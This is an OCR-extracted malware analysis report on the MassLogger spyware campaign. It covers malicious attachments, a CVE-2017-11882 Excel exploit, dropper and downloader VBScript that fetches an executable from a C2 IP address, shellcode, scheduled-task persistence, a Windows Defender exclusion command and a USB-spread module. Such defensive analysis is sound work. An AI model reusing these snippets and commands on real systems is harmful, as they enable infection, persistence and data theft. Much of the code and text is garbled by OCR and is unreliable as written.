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Summary:

We have been dealing with a new spyware for the past two months, named MassLogger. This advanced keylogger
and spyware are distributed via MalSpam attachments and has more features than other present keylogger tools. It
has been observed that this campaign is using several different file types as malicious attachments as an initial
infection vector. Also, the dynamic behaviour of this camping is not constant across multiple samples. It comes
with several functionalities like keylogger, Windows Defender exclusion, taking Screenshots, spreading via USB,

clipboard stealing, VM detection, etc.
Technical Details:
Here are different file types used as spam attachments in this campaign:

e Zip
e rar
[ ] gZ
o 7z
e img
e iso
e doc
e arj
e X7
e ace
e docm
° Z

e xlsm

e cab

After looking at the above list, we can see two major categories of attachment— first is archive file and second is
a document file. In the case of archive files, there is .NET masslogger payload after extraction, while in the case of

document file it contains VBA macro and exploit which downloads masslogger payload from a remote server.

Polymorphic Process Chain:

We have seen different variants of dynamic behaviour across multiple samples in this campaign. Below are

snapshots of a few process chains:
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Fig 1: Process Chain. Ref. https://app.any.run/
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Fig 2: Process Chain. Ref. https://app.any.run/
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Fig 3: Process Chain. Ref. https://app.any.run/
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Fig 4: Process Chain. Ref. https://app.any.run/

Document analysis:

In some cases, threat actors have used office document file as initial infection vector with VBA macro and
equation editor exploit. The following figure shows the extraction of Excel document having embedded OLE
storage containing 2 VBScripts and 1 file of CVE-2017-11882 exploit and VBA Project stream containing VBA

macros.

o_rels 02-07-2020 11:04 ... File folder
. drawings 02-07-2020 11:04 ... File folder .

: T _ 2 VBS files +
. embeddings 02-07-2020 11:04 ... Fllefclcler‘-';::

CVE-2017-11882 exploit

Fd Fd B3 Fad P P P

. media 02-07-2020 11:04 ... File folder

. theme 02-07-2020 11:04 ... File folder

. worksheets 02-07-2020 11:04 ... File folder

= stylesxml 02-07-2020 11:04 ... XML File 1KB
BIN File 52 kB <=1 VBA Macros
= workbook.xml 02-07-2020 11:04 ... XML File 1KB

Fig 5: OLE Streams and Storages

The following figure shows multiple OLE streams each containing different data.

-

Mame Type Size

[ oleObject1.bin BIN File 4 k8] Renamer & Execute

|| oleDbject2.bin BIN File 13 KB Downloader VB script

|| oleObject3.bin BIM File & KB CVE-2017-11882 exploit

Fig 6: Ole Embeddings

The first stream oleObject1.bin is a VB script file contains renamer code and after which it executes VBS file

using Wscript.
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<package>
<job id = "ybs">
<gcript language = "JScript">

var gbishell = new ActiveXobject ("Wscript.Shell™);
var strfoldsrpath = obishell.ExpandEnvironmentStrings ("$temps");
var oiuhfy7hweBuidn;
function ChangeFileName ()
{
var fso, £i
£s¢ = new ActiveXObject ("Scripting.FileSystemObject”):
f = fso.GetFile(strfolderpath + "\\" + "xx");
f.name = "xx." + "yhsg";
}
ChangeFileName () ;
var alput = "vb"
alnut = alomt + "s"
var yarz = "gsg"
var yashsh = "She" + "11"
var r = new ActiveXObject ("WS™ + "gript." + yashsh).Run("gmd" + " /c ™ + yarx + "ri" + "pt " + strfolderpath + "\\" +
"xx." + alnut,0,false);
var rx = new ActiveXObject ("Scripting.FileSystemObject"):
//xx.DeleteFile (strfolderpath + "\\" + "v.3js"™)
rr.DeleteFile (strfoldezpath + "\\" + "v")
</script>
</job>
</package>

Fig 7: VBS Job

OleObject2.bin stream is also a VB script which is highly obfuscated and having code to download a payload

from C2 server.

= "aHROcDovVLzES0C4xMi4Z2Ni4xMDgvdV1tNVNOWDNFOHBFMTNnLmMV4 ZQ=="" <=I http://198‘ 12.66.108/UYmSStX3E8pE13g.exe

£sdfdsis
lihgt7yBuojbjvhgtd ="NVNOWDNFOHBFMTNnImv4zQ=—" '245474 <::|SStX3E8pEl3g exel

Execute("ityge = ""b"" + ""in"vn)
ityps = ityps + "."

itype = itype + "base" '248474
itype = itype + "e”
ityps = ikyps + "4"

dim after, path

after = "later" '243%474

dim filestring

dim linkstring

Sub asebtdDecode (ByVal sBase64EncodedText, ByVal fIsUtfl6LE)

Fig 8: VBS downloader

The excel sheet containing stack-based buffer overflow editor exploit of the equation editor renames and executes

VB Scripts using WinExec api (0x00430C12) post-exploitation.

5 oleDbject.bin

Cffsec(h) OO0 01 02 03 04 05 06 07 O8 09 OR OB OC OD OE OF

Q0Q0008CO J1C OOj00 00 01 00 BT C1 Cg& 00 OO0 OO Q0 00 00 00 ...... AE.L.....
000008DO C8 79 56 00 B4 06 54 00 00 00 00 00 01 01 01 03 EwV. .T.........
QO0000BED OA OF 01 08 1D 00 &3 6D £4 20 2F 63 20 72 65 6E |...... cmd JSc ren

000008FO 20 25 T4 6D 70 25 5C 6D 6D 20 76 26 57 53 63 52 ttmpEhom vEWSch
00000900 49 50 54 20 25 74 D 70 25 5C 76 3F 2E 2E 7T 73 [IBT Etmpih\v?..ws
00000910 &6 09 EE EE BE BE BE BEE EE BB BE BE  [f...C.ssmnmnnnns
QooOo00%20 BE EBEE BE EBEE EE EE EE EE BEE EB EE BEE EE EE EBE BE senpasnaasDnlanns
QDDO0%930 BE EBE EE EE EE EE EE EB BB EE BB BE BE BE BE BE  aaaaaDREeRnibannd

Fig 9: Shellcode

“1C00” is the header of Equation Editor, in the right side, the shellcode is present containing cmd.exe initially
renames the VB script and passes it to Wscript to execute that VB Script. After overflow occurs, this whole data is
passed to WinExec function which does the further activity. For more info related to CVE-2017-1182 exploit,

please refer our blog post.

To increase to chances of payload delivery, the attacker uses both exploit and VBA macros. When exploit fails on

a patched system, another component, VBA macros are also present in the document file. The similar VBS code is

Page 4 of 11


https://blogs.quickheal.com/malspam-campaigns-exploiting-recent-ms-office-vulnerability-cve-2017-11882/

https://www.segrite.com /blog/masslogger-an-emerging-spyware-and-keylogger /

present in VBA macros and macro code has the responsibility of dropping the VBS file in “C:\programdata\”

folder and execute it as VBS Job which does further similar activity as that of the Equation Native exploit.

Payload Analysis:

The payload is downloaded from different initial attack vectors as discussed above when it executes and goes in
sleep for a few seconds. There is a lot of sleep code present in this binary. There are a total of 4 components

present with 2 layers of the packed file.
Stage 1 layer:

In the 1% layer, when it gets executed it has a simple code hidden in a Form() component. This code is responsible
to extract a dll file from resource directory in present in reverse data in Base64 format which further gets resolved
and dumps a dll with name AndroidStudio.dll.

Fig 10: Fetch data from resources

AndroidStudio.dll have a responsibility to decompress and decrypt a buffer which passes to it.

string_2)

string 2 + aClassl.

(string 1, string 3)), string 2));

FHER BT AW ;

Fig 11: Android Studio code
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GZip decompression method is used to decompress the buffer passed from the resource directory. This dll is used

to dump another PE file which is responsible for further activity.

Stage 2 Layer: Lazarus.exe

The Lazarus.exe gets dumped which is highly obfuscated .NET file which is now unpacked from the parent file.
We have decoded this file using de4dot tool successfully. In execution, it goes in sleep for a few seconds, it checks
if it’s own copy is present at “%appdata%?” location. If not, it drops a self-copy at “%appdata%” location. After
that, to stay persistent in the system, it creates an entry in task scheduler. For this, it creates and drops a. XML
config file at “%temp%” location which is the input for creating task scheduler. The metadata for XML file is

hardcoded and stored in PE resource. All data gets replaced at runtime.

In
In

% c
3
3
3
4
4
%
%
-0
-0
-0

Pnnms T
>

Fig 12: Task Scheduler XML
The name of starts with string “Update\” followed by file name dropped at %appdata% location.
Following command gets executed to add an entry in task scheduler.

“C:\Windows\System32\schtasks.exe” /Create /TN “Updates\<filename>" /XML “C:\Users\
<username>\AppData\Local\Temp\tmp<USERID>.tmp”’

Now time to move to the final payload which is MassloggerBin.exe. Using Process Hollowing technique, it injects

code into its own process. Following image shows the use of the self-hollowing technique to do its further activity.
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it (1Classl4| CreateProcessistring = false, 4u, IntPtr.Zero, null, ref @struct, ref struct2

Exception();

). GetHethod (

(btruct2. intptr

Exception();

(struct2.intptr 1,

(Ftructz. intptr @, numt + 4 + 4, 4 ref num))

Exception();

Fig 13: Process Hollowing

When it successfully writes and creates a new process, the parent process gets terminated and code injected
process runs as an orphan. The code of this process is also highly obfuscated. All function and class names are

modified to random/obfuscated string.

Stage 3 layer: MassLoggerBin.exe

With the start, it extracts a dll file having name “Ionic.Zip.Reduced.dll” from its resources. The
Ionic.Zip.Reduced.dll is a DotNetZip free fast class library used for manipulating zip files. The code used by the
attacker in Masslogger is available on this site. The main motive of using this dll is to create a zip file containing a

compressed package of files like snapshots, keyloggers, user info etc.

The internal config-based functionality is used by MassLogger to fetch the required accordingly which is then

assigned to a specific variable.

Following are the variables that fetch data stored in its internal config fig — by going to particular offset is the

first parameter and the config array from where data gets fetched is the second parameter

[ agmEID7hQK npNEab:

.FtpPort
.EmailEn

.Emailssl = R&p
LEmailClient
.PanelEnable

.Fa

Fig 14: Retrieves Config data
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CZCEXPIROWOY+EVFA3Y1WrAhD+%a01TMMRSZ9TzHLXhibgab¥r2rjezbFvtDod¥plSwkK3C250MdEOhT2iv11Q==
R7fPoyecflITyRGEVWWEWYCVQOCEEATU/a7Qrgci4isfwEVeARYXACR20ZKGPCVGT IAFPINGWAY  sWyv 05K 4FA:
WE2VTVIWNINIdwNgE+Iz6%hyzgh4 ID1uWxB50d0SfOB+3M6ubvhwikwns9fB4gRGIm]GgFyzGCuDg5fshgebf2(
Th7P1UWSL32ERubQNBeOJYpO+iZtuSPIWrkW0a5zHeCzI 9 INRLUXY Ta+k+7dUugLY 4amQ+aqwgTHY 3DeeWvGOMY:
vJITX1gST0OBRBxREBULxWw4ENTloTH3ghOauJIglhzfKO9yTnloHlgkhlEoRygHP8dB8uSxBFb3Tm+yBTCMEGBAGCY:
1UNHMDJIXnk1HETgXbTyHPdrsiZJIK17oy28AhVwieVib2ePShEQTnWev4AwliG/ ucEMMUSh2Nnymzm4 S3elks1A:
L1Ey+o30E0ZbjL4RuCzhuxVFZLImTXe/P/iH4yxXFEGE6270edg8 8RR2AP1iWs I fFP22vvEMkEg] tzD1 EQZKChA:
AdXLS4I0kD4oguxVyQxp7PgiPiapD7AH+gnOMY0AFSmoRgIHHt zZRIMACS9bQ/ Po S 54 ASTMnWO SBht rKUTL P2 tuks
k6/VWdyzGICEkzZMyHRaexH/OHATP/DrdExtiNS2+xv5]1x0iHRba2x0REFzOgKBhyk1MSh/XwTiH3WRko01ERDtHET/ /MSLiMAKSXBEADE=
ZmzZIFz5zBMhbyKgivI6saSh/S6Ty+t4sLiZjciSL1Z5ZhQT7KAPBaleSkT/ 4voulyyWe/dX1CWwEZgEfkSgh0Zg==
FxcIKB]BY2zgZ9JYYyMKY1dXXoR3chOONAYGhILbxICEzF/QNG2 61Ug+bXKXaNghVURb2 rx8uVmrLg] +oVSDYURBR/ 09YTRucz24F6z00cI9GauxNnQeYhxYAadPt+I9
gZEYFTrHOWUtt3yclQWu4yHR7G+1loeECmoV1ITIizcVdhoawCpNyGAgoygGDLNKQE yzUQFwW6QxHGoCANBAMCDNQ==
OmHcCrvDvapJUwROWUtzThenvyvOUbRCAQsKvEzTx/ /4 TwYeARIWEriTPexNVeFCpJbkYMZG/C/ J¥a4hv2Fulg==

Fig 15: Config Data

It starts collecting system information like name of the system, Windows version, CPU, GPU, AV installed, Public

IP which it gets from URL: “hxxpl:]//apil.]ipify[.]Jorg”, also gets running process information.

i feUkELRmsmy

dateTime, LtBey
»
x

a

000058]

Fig 16: Running Processes

MassLogger also stores a running process windows name in its log file.

MassLogger Functionality:
1. Application Data Stealer:

Following are some list of applications where it tries to steal user data and which further sends to its C2 server.

Telegram Desktop, Pidgin, FileZilla, Discord Tokken, NordVEN, Cutloock, FoxMail, Thunderbird, FireFox,
Q0 Browser, Chromium Recovery

By checking data from hardcoded path stored in this binary, it checks for particular data and installation of these

applications, if it does not find any details, it creates an entry in the following format,
<|| Application-name ||>
Not Installed

The following modules are present in MassLogger binary. Following is the list of that:
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WD Exclusion, Binder, Downloader, USEB Spread, Bot Killer, Window Searcher, Search And Upload,

mg% 2&nd Clipboard

2. Windows Defender Exclusion

It has a module named as “WD Exclusion” which is a Windows Defender Exclusion. Using command “Add-

MpPreference —ExclusionPath <path>*, it exclude it-self from Windows Defender Anti-Virus.
3. USB Spread

Another module, USB Spread, it uses an open-source code of LimeUSB available on GitHub. It is used to infect

files stored on the USB drive. When files on USB gets executed, it executes its own code as well as infected code.

[assembly: AssemblyTrademark ("™ % Lime % ") ]
[assembly: Guid("$Guid3")]

static class %LimeUSEModule$

{
public static woid Main()
{
try
{
System.Diagnostics.Process. Start (B"%File%") ;
}
catch { }
try
{
System.Diagnostics.Process.Start (B"$USBE") ;
}
catch { 1}

Fig 17: USB Spread Module
4. Keylogger and Clipboard

It has a key log capture module, using “SetWindowHookEx” api it captures all keyboard keys and logs it.

0x00000000
000000000
000000100
000000101

0200000104
0x00000705

Fig 18: Keyboard Hooking

5. Anti VM
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It also has Anti-VM techniques by checking for Video_Controller adapter using WMI “Select * from
Win32_VideoController” which retrieves which information related to the graphics card. If the process is

executing on Virtual Box then it returns “Virtual Box Graphics Adapter”.

( (Managemertobjec:

0x00000000
0x00000000

L O O N N 3K O

Ll

Fig 19: Video Adapter
6. Search And Upload

As per config file, it searches for some file which it wants to send to the C2 server that stores in

“SearchAndUpload.zip” archive.

All data is stored and retrieved from its config file. Following is the view of MassLogger config file.

/optimize+BlB /win32icon:"
Ligo" .scr4 ABCDEFGHIJRKLMNOPQRSTUVWXYZEEMY Trademark — SLimeTIcons™ Search And Uploade SearchZndUpload.zip@@
Path: Files count: {0}B Add-MpPreference -ExclusionPath WD Exclusion< Failed! Not running as admin! Window
Searcher@®@ Running! (t ) | Downlocad the log to see if it contains any sgreenshotsEB .jpgl@ WindowSearcherV Start-Sleep
-8econds 2; Remove-TItem -path 'f /c sghtasks /create /f /sg enlogen /rl highest /tn /tr '"EEA "' & exit)
\nuR\noisrevtnerruc\swodniw\tfosorciM\erawtfos :Zone.IdentifierE .batl@#A Gecho offE@ timeout 3 > NULEEE sTarT "" "BE@ cD
) " /f /o8 xpD Selsct * from Win32_ComputerSystes Manufacturer* microsoff corporation

ModelFE® VIRTUALER ymwarelEd VirtualBoxEF#l SbieDl1l.dllEM Xeon> Microsoft Basic Display Adapter[@®8 amsi.dll@8

AmsiScanBufferEFl User Name: IP: Location: Windows 0S: ( Windows Serial Rey:
CPU:
GPU: AV: & Screen Resolution: =8 Current Time: ( MassLogger Started: $ Interval: {0} hour( MassLogger Process: "

MassLogger Melt: @ MassLogger Exit after delivery: * As Administrator: {0}EEH Processes:

Name:[@#3 , Title:> Control Panel\International\Gec@8 NationF select * from Win32_ OperatingSystem@® CaptionEB True@@ 64bit
Falsel@@ 32bit: SELECT * FROM WIN32_ PROCESSOREE NameF select * from Win32_ VideoController( http://api-ipify.orgD
Nd{1,310.Ad41, 33\ \d{1,3\.\d{1,3 @A 127.0.0.1s root\SecurityCenter( root\SecurityCenter2< SELECT * FROM
AntivirusProductEFal displayName@#d Err HWI =2Ed .88 <|| | 1>E® Log.tztEEE MassLogger | @@ zip attachmentEma
/B8 sTOREEY Content-TypeES i POSTX

Fig 20: Config File

Once all data collection is done, it creates a log file containing all data like when Masslogger Process is started
and ended and other collected details. After that, it compresses using ZIP and gets stored at the location “C:\Users\
<USERNAME>\AppData\Local”.

Following is an image showing MassLogger log file.
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{User Name: Test

IP: 127.0.0.1

Location: United States

Windows 0S: Microsoft Windows 10 Pro 64bit

Windows Serial Fey:
CPU: Intel(R) Core(TM) 15-44608 CPU @ 2.5%0GH=z

GPU: VirtualBox Graphics ZAdapter (WDDM)

AV: Windows Defender

Screen Resclution: 1366x641

Current Time: 7/15/2020 7:44:36 BM

MassLogger Started: 7/14/2020 7:48:22 BEM

Interval: 2 hour

MassLogger Process: C:\Users\Test\Desktop\FileName.gxs
MassLogger Melt: false

MassLogger Exit after delivery: false

Ls Administrator: True

Processes:
Name:WindowsInternal.ComposableShell.Experiences.TextInput.Inputlpp, Title:Microsoft Text Input Application
Name:dnSpy—-x86, Title:dnSpy (x86, Debugging)}

Fig 21: MassLogger log file

Conclusion:

Masslogger is a highly configurable and modular keylogger and spyware. The author behind Masslogger tried to

make it more sophisticated in features than other keyloggers, these features make it hard to detect this advanced

malware.

IoCs:

4A199C1BA7226165799095C2C2A90017 (XLSM)
D1FFF0C0782D08ED17387297369797E0 (XLSM)
31B65A54940B164D502754B09E3E9B63 (PE)
37958546CB6DC41F505FDCB3430CEE3B (PE)
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